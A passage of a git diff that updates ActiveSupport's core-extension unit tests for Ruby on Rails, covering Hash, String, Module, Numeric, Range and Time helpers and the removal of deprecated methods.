-      assert_equal({ :a => 2 }, { :a => 2, :b => 5 }.diff({ :a => 1, :b => 5 }))
-    end
-  end
-
   def test_slice
     original = { :a => 'x', :b => 'y', :c => 10 }
     expected = { :a => 'x', :b => 'y' }
@@ -751,6 +854,24 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal 'bender', slice['login']
   end
 
+  def test_slice_bang_does_not_override_default
+    hash = Hash.new(0)
+    hash.update(a: 1, b: 2)
+
+    hash.slice!(:a)
+
+    assert_equal 0, hash[:c]
+  end
+
+  def test_slice_bang_does_not_override_default_proc
+    hash = Hash.new { |h, k| h[k] = [] }
+    hash.update(a: 1, b: 2)
+
+    hash.slice!(:a)
+
+    assert_equal [], hash[:c]
+  end
+
   def test_extract
     original = {:a => 1, :b => 2, :c => 3, :d => 4}
     expected = {:a => 1, :b => 2}
@@ -812,6 +933,32 @@ class HashExtTest < ActiveSupport::TestCase
     original.expects(:delete).never
     original.except(:a)
   end
+
+  def test_compact
+    hash_contain_nil_value = @symbols.merge(z: nil)
+    hash_with_only_nil_values = { a: nil, b: nil }
+
+    h = hash_contain_nil_value.dup
+    assert_equal(@symbols, h.compact)
+    assert_equal(hash_contain_nil_value, h)
+
+    h = hash_with_only_nil_values.dup
+    assert_equal({}, h.compact)
+    assert_equal(hash_with_only_nil_values, h)
+  end
+
+  def test_compact!
+    hash_contain_nil_value = @symbols.merge(z: nil)
+    hash_with_only_nil_values = { a: nil, b: nil }
+
+    h = hash_contain_nil_value.dup
+    assert_equal(@symbols, h.compact!)
+    assert_equal(@symbols, h)
+
+    h = hash_with_only_nil_values.dup
+    assert_equal({}, h.compact!)
+    assert_equal({}, h)
+  end
 end
 
 class IWriteMyOwnXML
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
index b8951de..18b2511 100644
--- a/activesupport/test/core_ext/kernel_test.rb
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -38,6 +38,22 @@ class KernelTest < ActiveSupport::TestCase
     # Skip if we can't STDERR.tell
   end
 
+  def test_silence_stream
+    old_stream_position = STDOUT.tell
+    silence_stream(STDOUT) { STDOUT.puts 'hello world' }
+    assert_equal old_stream_position, STDOUT.tell
+  rescue Errno::ESPIPE
+    # Skip if we can't stream.tell
+  end
+
+  def test_silence_stream_closes_file_descriptors
+    stream     = StringIO.new
+    dup_stream = StringIO.new
+    stream.stubs(:dup).returns(dup_stream)
+    dup_stream.expects(:close)
+    silence_stream(stream) { stream.puts 'hello world' }
+  end
+
   def test_quietly
     old_stdout_position, old_stderr_position = STDOUT.tell, STDERR.tell
     quietly do
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
index a577f90..48f3cc5 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -8,6 +8,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
       mattr_accessor :bar, :instance_writer => false
       mattr_reader   :shaq, :instance_reader => false
       mattr_accessor :camp, :instance_accessor => false
+
+      cattr_accessor(:defa) { 'default_accessor_value' }
+      cattr_reader(:defr) { 'default_reader_value' }
+      cattr_writer(:defw) { 'default_writer_value' }
+      cattr_accessor(:quux) { :quux }
     end
     @class = Class.new
     @class.instance_eval { include m }
@@ -27,6 +32,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
     assert_equal :test2, @module.foo
   end
 
+  def test_cattr_accessor_default_value
+    assert_equal :quux, @module.quux
+    assert_equal :quux, @object.quux
+  end
+
   def test_should_not_create_instance_writer
     assert_respond_to @module, :foo
     assert_respond_to @module, :foo=
@@ -46,16 +56,24 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
   end
 
   def test_should_raise_name_error_if_attribute_name_is_invalid
-    assert_raises NameError do
+    exception = assert_raises NameError do
       Class.new do
-        mattr_reader "invalid attribute name"
+        cattr_reader "1nvalid"
       end
     end
+    assert_equal "invalid attribute name: 1nvalid", exception.message
 
-    assert_raises NameError do
+    exception = assert_raises NameError do
       Class.new do
-        mattr_writer "invalid attribute name"
+        cattr_writer "1nvalid"
       end
     end
+    assert_equal "invalid attribute name: 1nvalid", exception.message
+  end
+
+  def test_should_use_default_value_if_block_passed
+    assert_equal 'default_accessor_value', @module.defa
+    assert_equal 'default_reader_value', @module.defr
+    assert_equal 'default_writer_value', @module.class_variable_get('@@defw')
   end
 end
diff --git a/activesupport/test/core_ext/module/concerning_test.rb b/activesupport/test/core_ext/module/concerning_test.rb
new file mode 100644
index 0000000..c6863b2
--- /dev/null
+++ b/activesupport/test/core_ext/module/concerning_test.rb
@@ -0,0 +1,35 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/concerning'
+
+class ConcerningTest < ActiveSupport::TestCase
+  def test_concern_shortcut_creates_a_module_but_doesnt_include_it
+    mod = Module.new { concern(:Foo) { } }
+    assert_kind_of Module, mod::Foo
+    assert mod::Foo.respond_to?(:included)
+    assert !mod.ancestors.include?(mod::Foo), mod.ancestors.inspect
+  end
+
+  def test_concern_creates_a_module_extended_with_active_support_concern
+    klass = Class.new do
+      concern :Foo do
+        included { @foo = 1 }
+        def should_be_public; end
+      end
+    end
+
+    # Declares a concern but doesn't include it
+    assert_kind_of Module, klass::Foo
+    assert !klass.ancestors.include?(klass::Foo), klass.ancestors.inspect
+
+    # Public method visibility by default
+    assert klass::Foo.public_instance_methods.map(&:to_s).include?('should_be_public')
+
+    # Calls included hook
+    assert_equal 1, Class.new { include klass::Foo }.instance_variable_get('@foo')
+  end
+
+  def test_concerning_declares_a_concern_and_includes_it_immediately
+    klass = Class.new { concerning(:Foo) { } }
+    assert klass.ancestors.include?(klass::Foo), klass.ancestors.inspect
+  end
+end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index dfc3b58..ff6e218 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -12,12 +12,6 @@ class Ab
   Constant3 = "Goodbye World"
 end
 
-module Xy
-  class Bc
-    include One
-  end
-end
-
 module Yz
   module Zy
     class Cd
@@ -224,7 +218,7 @@ class ModuleTest < ActiveSupport::TestCase
 
   def test_delegation_without_allow_nil_and_nil_value
     david = Someone.new("David")
-    assert_raise(RuntimeError) { david.street }
+    assert_raise(Module::DelegationError) { david.street }
   end
 
   def test_delegation_to_method_that_exists_on_nil
@@ -251,6 +245,16 @@ class ModuleTest < ActiveSupport::TestCase
     end
   end
 
+  def test_delegation_line_number
+    _, line = Someone.instance_method(:foo).source_location
+    assert_equal Someone::FAILED_DELEGATE_LINE, line
+  end
+
+  def test_delegate_line_with_nil
+    _, line = Someone.instance_method(:bar).source_location
+    assert_equal Someone::FAILED_DELEGATE_LINE_2, line
+  end
+
   def test_delegation_exception_backtrace
     someone = Someone.new("foo", "bar")
     someone.foo
@@ -305,12 +309,6 @@ class ModuleTest < ActiveSupport::TestCase
   def test_local_constants
     assert_equal %w(Constant1 Constant3), Ab.local_constants.sort.map(&:to_s)
   end
-
-  def test_local_constant_names
-    ActiveSupport::Deprecation.silence do
-      assert_equal %w(Constant1 Constant3), Ab.local_constant_names.sort.map(&:to_s)
-    end
-  end
 end
 
 module BarMethodAliaser
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
index 03ce09f..7525f80 100644
--- a/activesupport/test/core_ext/name_error_test.rb
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -3,18 +3,18 @@ require 'active_support/core_ext/name_error'
 
 class NameErrorTest < ActiveSupport::TestCase
   def test_name_error_should_set_missing_name
-    SomeNameThatNobodyWillUse____Really ? 1 : 0
-    flunk "?!?!"
-  rescue NameError => exc
+    exc = assert_raise NameError do
+      SomeNameThatNobodyWillUse____Really ? 1 : 0
+    end
     assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
     assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
     assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
   end
 
   def test_missing_method_should_ignore_missing_name
-    some_method_that_does_not_exist
-    flunk "?!?!"
-  rescue NameError => exc
+    exc = assert_raise NameError do
+      some_method_that_does_not_exist
+    end
     assert !exc.missing_name?(:Foo)
     assert_nil exc.missing_name
   end
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
index 1da72eb..3b1dabe 100644
--- a/activesupport/test/core_ext/numeric_ext_test.rb
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -22,21 +22,16 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
     end
   end
 
-  def test_intervals
-    @seconds.values.each do |seconds|
-      assert_equal seconds.since(@now), @now + seconds
-      assert_equal seconds.until(@now), @now - seconds
-    end
+  def test_deprecated_since_and_ago
+    assert_equal @now + 1, assert_deprecated { 1.since(@now) }
+    assert_equal @now - 1, assert_deprecated { 1.ago(@now) }
   end
 
-  # Test intervals based from Time.now
-  def test_now
-    @seconds.values.each do |seconds|
-      now = Time.now
-      assert seconds.ago >= now - seconds
-      now = Time.now
-      assert seconds.from_now >= now + seconds
-    end
+  def test_deprecated_since_and_ago_without_argument
+    now = Time.now
+    assert assert_deprecated { 1.since } >= now + 1
+    now = Time.now
+    assert assert_deprecated { 1.ago } >= now - 1
   end
 
   def test_irregular_durations
@@ -78,10 +73,10 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
   end
 
   def test_duration_after_conversion_is_no_longer_accurate
-    assert_equal 30.days.to_i.since(@now), 1.month.to_i.since(@now)
-    assert_equal 365.25.days.to_f.since(@now), 1.year.to_f.since(@now)
-    assert_equal 30.days.to_i.since(@dtnow), 1.month.to_i.since(@dtnow)
-    assert_equal 365.25.days.to_f.since(@dtnow), 1.year.to_f.since(@dtnow)
+    assert_equal 30.days.to_i.seconds.since(@now), 1.month.to_i.seconds.since(@now)
+    assert_equal 365.25.days.to_f.seconds.since(@now), 1.year.to_f.seconds.since(@now)
+    assert_equal 30.days.to_i.seconds.since(@dtnow), 1.month.to_i.seconds.since(@dtnow)
+    assert_equal 365.25.days.to_f.seconds.since(@dtnow), 1.year.to_f.seconds.since(@dtnow)
   end
 
   def test_add_one_year_to_leap_day
@@ -94,11 +89,11 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
     with_env_tz 'US/Eastern' do
       Time.stubs(:now).returns Time.local(2000)
       # since
-      assert_equal false, 5.since.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.local(2000,1,1,0,0,5), 5.since
+      assert_not_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.since }
+      assert_equal Time.local(2000,1,1,0,0,5), assert_deprecated { 5.since }
       # ago
-      assert_equal false, 5.ago.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.local(1999,12,31,23,59,55), 5.ago
+      assert_not_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.ago }
+      assert_equal Time.local(1999,12,31,23,59,55), assert_deprecated { 5.ago }
     end
   end
 
@@ -107,13 +102,13 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
     with_env_tz 'US/Eastern' do
       Time.stubs(:now).returns Time.local(2000)
       # since
-      assert_equal true, 5.since.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.utc(2000,1,1,0,0,5), 5.since.time
-      assert_equal 'Eastern Time (US & Canada)', 5.since.time_zone.name
+      assert_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.since }
+      assert_equal Time.utc(2000,1,1,0,0,5), assert_deprecated { 5.since.time }
+      assert_equal 'Eastern Time (US & Canada)',  assert_deprecated { 5.since.time_zone.name }
       # ago
-      assert_equal true, 5.ago.is_a?(ActiveSupport::TimeWithZone)
-      assert_equal Time.utc(1999,12,31,23,59,55), 5.ago.time
-      assert_equal 'Eastern Time (US & Canada)', 5.ago.time_zone.name
+      assert_instance_of ActiveSupport::TimeWithZone, assert_deprecated { 5.ago }
+      assert_equal Time.utc(1999,12,31,23,59,55), assert_deprecated { 5.ago.time }
+      assert_equal 'Eastern Time (US & Canada)', assert_deprecated { 5.ago.time_zone.name }
     end
   ensure
     Time.zone = nil
@@ -440,4 +435,8 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
     assert_equal BigDecimal, BigDecimal("1000010").class
     assert_equal '1 Million', BigDecimal("1000010").to_s(:human)
   end
+  
+  def test_in_milliseconds
+    assert_equal 10_000, 10.seconds.in_milliseconds
+  end
 end
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
index 5c5c7c1..b054a8d 100644
--- a/activesupport/test/core_ext/object/inclusion_test.rb
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -2,20 +2,6 @@ require 'abstract_unit'
 require 'active_support/core_ext/object/inclusion'
 
 class InTest < ActiveSupport::TestCase
-  def test_in_multiple_args
-    assert_deprecated do
-      assert :b.in?(:a,:b)
-      assert !:c.in?(:a,:b)
-    end
-  end
-
-  def test_in_multiple_arrays
-    assert_deprecated do
-      assert [1,2].in?([1,2],[2,3])
-      assert ![1,2].in?([1,3],[2,1])
-    end
-  end
-
   def test_in_array
     assert 1.in?([1,2])
     assert !3.in?([1,2])
@@ -57,8 +43,13 @@ class InTest < ActiveSupport::TestCase
     assert A.in?(C)
     assert !A.in?(A)
   end
-
+  
   def test_no_method_catching
     assert_raise(ArgumentError) { 1.in?(1) }
   end
+  
+  def test_presence_in
+    assert_equal "stuff", "stuff".presence_in(%w( lots of stuff ))
+    assert_nil "stuff".presence_in(%w( lots of crap ))
+  end
 end
diff --git a/activesupport/test/core_ext/object/json_test.rb b/activesupport/test/core_ext/object/json_test.rb
new file mode 100644
index 0000000..d3d3153
--- /dev/null
+++ b/activesupport/test/core_ext/object/json_test.rb
@@ -0,0 +1,9 @@
+require 'abstract_unit'
+
+class JsonTest < ActiveSupport::TestCase
+  # See activesupport/test/json/encoding_test.rb for JSON encoding tests
+
+  def test_deprecated_require_to_json_rb
+    assert_deprecated { require 'active_support/core_ext/object/to_json' }
+  end
+end
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index 92f996f..7457c46 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -46,6 +46,21 @@ class ToQueryTest < ActiveSupport::TestCase
       :person => {:id => [20, 10]}
   end
 
+  def test_nested_empty_hash
+    assert_equal '',
+      {}.to_query
+    assert_query_equal 'a=1&b%5Bc%5D=3',
+      { a: 1, b: { c: 3, d: {} } }
+    assert_query_equal '',
+      { a: {b: {c: {}}} }
+    assert_query_equal 'b%5Bc%5D=false&b%5Be%5D=&b%5Bf%5D=&p=12',
+      { p: 12, b: { c: false, e: nil, f: '' } }
+    assert_query_equal 'b%5Bc%5D=3&b%5Bf%5D=',
+      { b: { c: 3, k: {}, f: '' } }
+    assert_query_equal 'b=3',
+      {a: [], b: 3}
+  end
+
   private
     def assert_query_equal(expected, actual)
       assert_equal expected.split('&'), actual.to_query.split('&')
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
index 8d74879..0f454fd 100644
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ b/activesupport/test/core_ext/object_and_class_ext_test.rb
@@ -3,31 +3,6 @@ require 'active_support/time'
 require 'active_support/core_ext/object'
 require 'active_support/core_ext/class/subclasses'
 
-class ClassA; end
-class ClassB < ClassA; end
-class ClassC < ClassB; end
-class ClassD < ClassA; end
-
-class ClassI; end
-class ClassJ < ClassI; end
-
-class ClassK
-end
-module Nested
-  class << self
-    def on_const_missing(&callback)
-      @on_const_missing = callback
-    end
-    private
-      def const_missing(mod_id)
-        @on_const_missing[mod_id] if @on_const_missing
-        super
-      end
-  end
-  class ClassL < ClassK
-  end
-end
-
 class ObjectTests < ActiveSupport::TestCase
   class DuckTime
     def acts_like_time?
diff --git a/activesupport/test/core_ext/proc_test.rb b/activesupport/test/core_ext/proc_test.rb
deleted file mode 100644
index c4d5592..0000000
--- a/activesupport/test/core_ext/proc_test.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/proc'
-
-class ProcTests < ActiveSupport::TestCase
-  def test_bind_returns_method_with_changed_self
-    assert_deprecated do
-      block = Proc.new { self }
-      assert_equal self, block.call
-      bound_block = block.bind("hello")
-      assert_not_equal block, bound_block
-      assert_equal "hello", bound_block.call
-    end
-  end
-end
diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
index 854b0a3..150e6b6 100644
--- a/activesupport/test/core_ext/range_ext_test.rb
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -42,7 +42,7 @@ class RangeTest < ActiveSupport::TestCase
     assert((1...10).include?(1...10))
   end
 
-  def test_should_include_other_with_exlusive_end
+  def test_should_include_other_with_exclusive_end
     assert((1..10).include?(1...10))
   end
 
@@ -112,4 +112,8 @@ class RangeTest < ActiveSupport::TestCase
     end
   end
 
+  def test_date_time_with_each
+    datetime = DateTime.now
+    assert ((datetime - 1.hour)..datetime).each {}
+  end
 end
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index 8f0ebc1..072b970 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -11,13 +11,6 @@ require 'active_support/core_ext/string/strip'
 require 'active_support/core_ext/string/output_safety'
 require 'active_support/core_ext/string/indent'
 
-module Ace
-  module Base
-    class Case
-    end
-  end
-end
-
 class StringInflectionsTest < ActiveSupport::TestCase
   include InflectorTestCases
   include ConstantizeTestCases
@@ -162,59 +155,19 @@ class StringInflectionsTest < ActiveSupport::TestCase
     end
   end
 
-  def test_ord
-    assert_equal 97, 'a'.ord
-    assert_equal 97, 'abc'.ord
+  def test_humanize_without_capitalize
+    UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+      assert_equal(human, underscore.humanize(capitalize: false))
+    end
   end
 
-  def test_access
-    s = "hello"
-    assert_equal "h", s.at(0)
-
-    assert_equal "llo", s.from(2)
-    assert_equal "hel", s.to(2)
-
-    assert_equal "h", s.first
-    assert_equal "he", s.first(2)
-    assert_equal "", s.first(0)
-
-    assert_equal "o", s.last
-    assert_equal "llo", s.last(3)
-    assert_equal "hello", s.last(10)
-    assert_equal "", s.last(0)
-
-    assert_equal 'x', 'x'.first
-    assert_equal 'x', 'x'.first(4)
-
-    assert_equal 'x', 'x'.last
-    assert_equal 'x', 'x'.last(4)
+  def test_humanize_with_html_escape
+    assert_equal 'Hello', ERB::Util.html_escape("hello").humanize
   end
 
-  def test_access_returns_a_real_string
-    hash = {}
-    hash["h"] = true
-    hash["hello123".at(0)] = true
-    assert_equal %w(h), hash.keys
-
-    hash = {}
-    hash["llo"] = true
-    hash["hello".from(2)] = true
-    assert_equal %w(llo), hash.keys
-
-    hash = {}
-    hash["hel"] = true
-    hash["hello".to(2)] = true
-    assert_equal %w(hel), hash.keys
-
-    hash = {}
-    hash["hello"] = true
-    hash["123hello".last(5)] = true
-    assert_equal %w(hello), hash.keys
-
-    hash = {}
-    hash["hello"] = true
-    hash["hello123".first(5)] = true
-    assert_equal %w(hello), hash.keys
+  def test_ord
+    assert_equal 97, 'a'.ord
+    assert_equal 97, 'abc'.ord
   end
 
   def test_starts_ends_with_alias
@@ -278,6 +231,11 @@ class StringInflectionsTest < ActiveSupport::TestCase
     assert !"Hello World!".truncate(12).html_safe?
   end
 
+  def test_remove
+    assert_equal "Summer", "Fast Summer".remove(/Fast /)
+    assert_equal "Summer", "Fast Summer".remove!(/Fast /)
+  end
+
   def test_constantize
     run_constantize_tests_on do |string|
       string.constantize
@@ -291,6 +249,93 @@ class StringInflectionsTest < ActiveSupport::TestCase
   end
 end
 
+class StringAccessTest < ActiveSupport::TestCase
+  test "#at with Fixnum, returns a substring of one character at that position" do
+    assert_equal "h", "hello".at(0)
+  end
+
+  test "#at with Range, returns a substring containing characters at offsets" do
+    assert_equal "lo", "hello".at(-2..-1)
+  end
+
+  test "#at with Regex, returns the matching portion of the string" do
+    assert_equal "lo", "hello".at(/lo/)
+    assert_equal nil, "hello".at(/nonexisting/)
+  end
+
+  test "#from with positive Fixnum, returns substring from the given position to the end" do
+    assert_equal "llo", "hello".from(2)
+  end
+
+  test "#from with negative Fixnum, position is counted from the end" do
+    assert_equal "lo", "hello".from(-2)
+  end
+
+  test "#to with positive Fixnum, substring from the beginning to the given position" do
+    assert_equal "hel", "hello".to(2)
+  end
+
+  test "#to with negative Fixnum, position is counted from the end" do
+    assert_equal "hell", "hello".to(-2)
+  end
+
+  test "#from and #to can be combined" do
+    assert_equal "hello", "hello".from(0).to(-1)
+    assert_equal "ell", "hello".from(1).to(-2)
+  end
+
+  test "#first returns the first character" do
+    assert_equal "h", "hello".first
+    assert_equal 'x', 'x'.first
+  end
+
+  test "#first with Fixnum, returns a substring from the beginning to position" do
+    assert_equal "he", "hello".first(2)
+    assert_equal "", "hello".first(0)
+    assert_equal "hello", "hello".first(10)
+    assert_equal 'x', 'x'.first(4)
+  end
+
+  test "#last returns the last character" do
+    assert_equal "o", "hello".last
+    assert_equal 'x', 'x'.last
+  end
+
+  test "#last with Fixnum, returns a substring from the end to position" do
+    assert_equal "llo", "hello".last(3)
+    assert_equal "hello", "hello".last(10)
+    assert_equal "", "hello".last(0)
+    assert_equal 'x', 'x'.last(4)
+  end
+
+  test "access returns a real string" do
+    hash = {}
+    hash["h"] = true
+    hash["hello123".at(0)] = true
+    assert_equal %w(h), hash.keys
+
+    hash = {}
+    hash["llo"] = true
+    hash["hello".from(2)] = true
+    assert_equal %w(llo), hash.keys
+
+    hash = {}
+    hash["hel"] = true
+    hash["hello".to(2)] = true
+    assert_equal %w(hel), hash.keys
+
+    hash = {}
+    hash["hello"] = true
+    hash["123hello".last(5)] = true
+    assert_equal %w(hello), hash.keys
+
+    hash = {}
+    hash["hello"] = true
+    hash["hello123".first(5)] = true
+    assert_equal %w(hello), hash.keys
+  end
+end
+
 class StringConversionsTest < ActiveSupport::TestCase
   def test_string_to_time
     with_env_tz "Europe/Moscow" do
@@ -651,12 +696,6 @@ class OutputSafetyTest < ActiveSupport::TestCase
     assert_equal 'foo'.to_yaml, 'foo'.html_safe.to_yaml(:foo => 1)
   end
 
-  test 'knows whether it is encoding aware' do
-    assert_deprecated do
-      assert 'ruby'.encoding_aware?
-    end
-  end
-
   test "call to_param returns a normal string" do
     string = @string.html_safe
     assert string.html_safe?
diff --git a/activesupport/test/core_ext/thread_test.rb b/activesupport/test/core_ext/thread_test.rb
index cf1b48d..6a7c6e0 100644
--- a/activesupport/test/core_ext/thread_test.rb
+++ b/activesupport/test/core_ext/thread_test.rb
@@ -72,15 +72,4 @@ class ThreadExt < ActiveSupport::TestCase
     end
   end
 
-  def test_thread_variable_security
-    t = Thread.new { sleep }
-
-    assert_raises(SecurityError) do
-      Thread.new { $SAFE = 4; t.thread_variable_get(:foo) }.join
-    end
-
-    assert_raises(SecurityError) do
-      Thread.new { $SAFE = 4; t.thread_variable_set(:foo, :baz) }.join
-    end
-  end
 end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index aecaa1b..e0a4b1b 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -117,6 +117,18 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     end
   end
 
+  def test_middle_of_day
+    assert_equal Time.local(2005,2,4,12,0,0), Time.local(2005,2,4,10,10,10).middle_of_day
+    with_env_tz 'US/Eastern' do
+      assert_equal Time.local(2006,4,2,12,0,0), Time.local(2006,4,2,10,10,10).middle_of_day, 'start DST'
+      assert_equal Time.local(2006,10,29,12,0,0), Time.local(2006,10,29,10,10,10).middle_of_day, 'ends DST'
+    end
+    with_env_tz 'NZ' do
+      assert_equal Time.local(2006,3,19,12,0,0), Time.local(2006,3,19,10,10,10).middle_of_day, 'ends DST'
+      assert_equal Time.local(2006,10,1,12,0,0), Time.local(2006,10,1,10,10,10).middle_of_day, 'start DST'
+    end
+  end
+
   def test_beginning_of_hour
     assert_equal Time.local(2005,2,4,19,0,0), Time.local(2005,2,4,19,30,10).beginning_of_hour
   end
@@ -464,6 +476,13 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal t, t.advance(:months => 0)
   end
 
+  def test_advance_gregorian_proleptic
+    assert_equal Time.local(1582,10,14,15,15,10), Time.local(1582,10,15,15,15,10).advance(:days => -1)
+    assert_equal Time.local(1582,10,15,15,15,10), Time.local(1582,10,14,15,15,10).advance(:days => 1)
+    assert_equal Time.local(1582,10,5,15,15,10), Time.local(1582,10,4,15,15,10).advance(:days => 1)
+    assert_equal Time.local(1582,10,4,15,15,10), Time.local(1582,10,5,15,15,10).advance(:days => -1)
+  end
+
   def test_last_week
     with_env_tz 'US/Eastern' do
       assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).last_week
@@ -509,6 +528,9 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     with_env_tz "US/Central" do
       assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822)
       assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822)
+      assert_equal "2009-02-05T14:30:05-06:00", Time.local(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+      assert_equal "2008-06-09T04:05:01-05:00", Time.local(2008, 6, 9, 4, 5, 1).to_s(:iso8601)
+      assert_equal "2009-02-05T14:30:05Z", Time.utc(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
     end
   end
 
@@ -578,58 +600,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal 29, Time.days_in_month(2)
   end
 
-  def test_time_with_datetime_fallback
-    ActiveSupport::Deprecation.silence do
-      assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
-      assert_equal Time.time_with_datetime_fallback(:local, 2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
-      assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
-      assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
-      assert_equal Time.time_with_datetime_fallback(:utc, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, 0)
-      assert_equal Time.time_with_datetime_fallback(:utc, 2005), Time.utc(2005)
-      assert_equal Time.time_with_datetime_fallback(:utc, 2039), DateTime.civil(2039, 1, 1, 0, 0, 0, 0)
-      assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30, 1), Time.utc(2005, 2, 21, 17, 44, 30, 1) #with usec
-      # This won't overflow on 64bit linux
-      unless time_is_64bits?
-        assert_equal Time.time_with_datetime_fallback(:local, 1900, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1900, 2, 21, 17, 44, 30)
-        assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1),
-                     DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
-        assert_equal ::Date::ITALY, Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).start # use Ruby's default start value
-      end
-      silence_warnings do
-        0.upto(138) do |year|
-          [:utc, :local].each do |format|
-            assert_equal year, Time.time_with_datetime_fallback(format, year).year
-          end
-        end
-      end
-    end
-  end
-
-  def test_utc_time
-    ActiveSupport::Deprecation.silence do
-      assert_equal Time.utc_time(2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
-      assert_equal Time.utc_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
-      assert_equal Time.utc_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, 0)
-    end
-  end
-
-  def test_local_time
-    ActiveSupport::Deprecation.silence do
-      assert_equal Time.local_time(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
-      assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
-
-      unless time_is_64bits?
-        assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1901, 2, 21, 17, 44, 30)
-      end
-    end
-  end
-
-  def test_time_with_datetime_fallback_deprecations
-    assert_deprecated(/time_with_datetime_fallback/) { Time.time_with_datetime_fallback(:utc, 2012, 6, 7) }
-    assert_deprecated(/utc_time/) { Time.utc_time(2012, 6, 7) }
-    assert_deprecated(/local_time/) { Time.local_time(2012, 6, 7) }
-  end
-
   def test_last_month_on_31st
     assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).last_month
   end
@@ -886,9 +856,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
       old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
     end
 
-    def time_is_64bits?
-      Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).is_a?(Time)
-    end
 end
 
